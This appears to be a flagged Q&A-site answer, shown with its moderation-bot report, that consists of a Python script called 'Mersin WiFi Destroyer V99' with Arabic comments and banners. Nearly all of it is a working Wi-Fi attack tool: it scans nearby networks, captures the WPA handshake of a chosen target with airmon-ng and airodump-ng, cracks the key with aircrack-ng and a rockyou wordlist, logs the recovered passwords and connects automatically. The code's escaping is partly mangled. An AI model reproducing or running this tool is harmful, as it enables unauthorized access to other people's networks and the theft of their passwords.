79811692

Date: 2025-11-06 19:28:51
Score: 0.5
Natty:
Report link

# mersin_wifi_destroyer_v99.py

# التطبيق الرسمي لأهل مرسين – نوفمبر 2025

# المبرمج: السوري 🔥

import subprocess

import threading

import queue

import time

import os

import re

import sys

from colorama import init, Fore, Style

init(autoreset=True)

R = Fore.RED + Style.BRIGHT

G = Fore.GREEN + Style.BRIGHT

Y = Fore.YELLOW + Style.BRIGHT

C = Fore.CYAN + Style.BRIGHT

M = Fore.MAGENTA + Style.BRIGHT

W = Fore.WHITE + Style.BRIGHT

print(f"""{R}

███╗ ███╗███████╗██████╗ ███████╗██╗███╗ ██╗ ██╗ ██╗██╗███████╗██╗

████╗ ████║██╔════╝██╔══██╗██╔════╝██║████╗ ██║ ██║ ██║██║██╔════╝██║

██╔████╔██║█████╗ ██████╔╝███████╗██║██╔██╗ ██║ ██║ █╗ ██║██║█████╗ ██║

██║╚██╔╝██║██╔══╝ ██╔══██╗╚════██║██║██║╚██╗██║ ██║███╗██║██║██╔══╝ ╚═╝

██║ ╚═╝ ██║███████╗██║ ██║███████║██║██║ ╚████║ ╚███╔███╔╝██║██║ ██╗

╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝╚═╝ ╚═══╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝

                {M}MERSIN WIFI DESTROYER V99 - السوري 🔥

""")

class MersinDestroyer:

def \__init_\_(self):

    self.interface = "wlan0" if os.name != "nt" else "Wi-Fi"

    self.networks = \[\]

    self.found = False

    self.queue = queue.Queue()

    self.wordlist = "/usr/share/wordlists/rockyou.txt"  # كالي

    if not os.path.exists(self.wordlist):

        self.wordlist = "rockyou.txt"  # تيرمكس أو ويندوز

def banner(self):

    print(f"{C}╔{'═'\*70}╗")

    print(f"{C}║{W}    مرسين 09:46 PM – الشبح الرقمي V99 مفعّل – لا قيود لا رحمة    {C}║")

    print(f"{C}╚{'═'\*70}╝\\n")

def scan_networks(self):

    print(f"{Y}\[+\] جاري مسح الشبكات في مرسين...")

    try:

        if os.name == "nt":  # ويندوز

            result = subprocess.check_output("netsh wlan show networks mode=bssid", shell=True, text=True, encoding="utf-8", errors="ignore")

            networks = re.findall(r"SSID\\s+\\d+\\s+:\\s+(.+?)\\n.\*?BSSID\\s+\\d+\\s+:\\s+(\[0-9A-F:\]{17})", result, re.DOTALL)

        else:  # لينكس / تيرمكس

            subprocess.run("sudo iwlist wlan0 scan \> /dev/null 2\>&1", shell=True)

            result = subprocess.check_output("sudo iwlist wlan0 scan", shell=True, text=True)

            networks = re.findall(r"ESSID:\\"(.\*?)\\".\*?Address: (\[0-9A-F:\]{17})", result)

        

        self.networks = \[{"ssid": ssid, "bssid": bssid} for ssid, bssid in networks if ssid.strip()\]

        print(f"{G}\[+\] تم اكتشاف {len(self.networks)} شبكة حولك في مرسين:")

        for i, net in enumerate(self.networks):

            print(f"{C}    \[{i+1}\] {W}{net\['ssid'\]} {Y}({net\['bssid'\]})")

    except Exception as e:

        print(f"{R}\[-\] فشل المسح: {e}")

def handshake_capture(self, bssid, channel):

    print(f"{Y}\[+\] التقاط الهاندشيك لـ {bssid}...")

    os.system(f"sudo timeout 30 airodump-ng -c {channel} --bssid {bssid} -w mersin_handshake wlan0mon")

def crack_wpa(self, ssid, bssid):

    print(f"{R}\[!\] بدء كسر {ssid} بقوة الجحيم...")

    cmd = f"aircrack-ng -w {self.wordlist} -b {bssid} mersin_handshake\*.cap"

    result = subprocess.run(cmd, shell=True, text=True, capture_output=True)

    

    if "KEY FOUND" in result.stdout:

        password = re.search(r"\\\[ (.\*?) \\\]", result.stdout).group(1)

        print(f"\\n{G}╔{'═'\*70}╗")

        print(f"{G}║                تم كسر الشبكة يا أسد مرسين!                 ║")

        print(f"{G}║  الشبكة: {W}{ssid:\<30}{G} ║")

        print(f"{G}║  كلمة المرور: {W}{password:\<25}{G} ║")

        print(f"{G}╚{'═'\*70}╝\\n")

        

        with open("MERSIN_CRACKED.txt", "a", encoding="utf-8") as f:

            f.write(f"{ssid}:{password}\\n")

        

        \# اتصال تلقائي

        os.system(f'nmcli dev wifi connect "{ssid}" password "{password}"')

        self.found = True

        return password

    return None

def auto_attack(self):

    self.scan_networks()

    if not self.networks:

        return

    

    target = int(input(f"\\n{Y}\[?\] اختر رقم الشبكة للإبادة: {W}")) - 1

    ssid = self.networks\[target\]\['ssid'\]

    bssid = self.networks\[target\]\['bssid'\]

    

    print(f"{R}\[!\] الهدف: {ssid} – مرسين هتنهيها دلوقتي...")

    

    \# تفعيل وضع المونيتور

    os.system("sudo airmon-ng start wlan0")

    

    \# جلب القناة

    os.system(f"sudo airodump-ng wlan0mon -d {bssid} -c 1-13 \> channel.txt & sleep 10; kill $!")

    time.sleep(12)

    try:

        with open("channel.txt") as f:

            channel = re.search(r"CH\\s+(\\d+)", f.read()).group(1)

    except:

        channel = "6"

    

    \# التقاط الهاندشيك

    capture_thread = threading.Thread(target=self.handshake_capture, args=(bssid, channel))

    capture_thread.start()

    time.sleep(35)

    capture_thread.join()

    

    \# كسر

    self.crack_wpa(ssid, bssid)

    

    \# إيقاف المونيتور

    os.system("sudo airmon-ng stop wlan0mon")

    

    if self.found:

        print(f"{G}\[+\] السوري كسر الشبكة ودخلها من مرسين! 🔥")

    else:

        print(f"{R}\[!\] ما انكسرتش... بس بنرجع بـ 100 أداة أقوى!")

# تشغيل الجحيم

if _name_ == "_main_":

os.system("clear" if os.name != "nt" else "cls")

os.system("title مرسين WiFi Destroyer V99 - السوري")



if os.geteuid() != 0 and os.name != "nt":

    print(f"{R}\[-\] شغّل الأداة بـ sudo يا زلمة!")

    sys.exit()



destroyer = MersinDestroyer()

destroyer.banner()

destroyer.auto_attack()



input(f"\\n{Y}\[\*\] خلصنا... اضغط Enter وروح اشرب شاي يا ملك مرسين 🔥")
Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • No latin characters (1):
  • Low reputation (1):
Posted by: عمال تكبم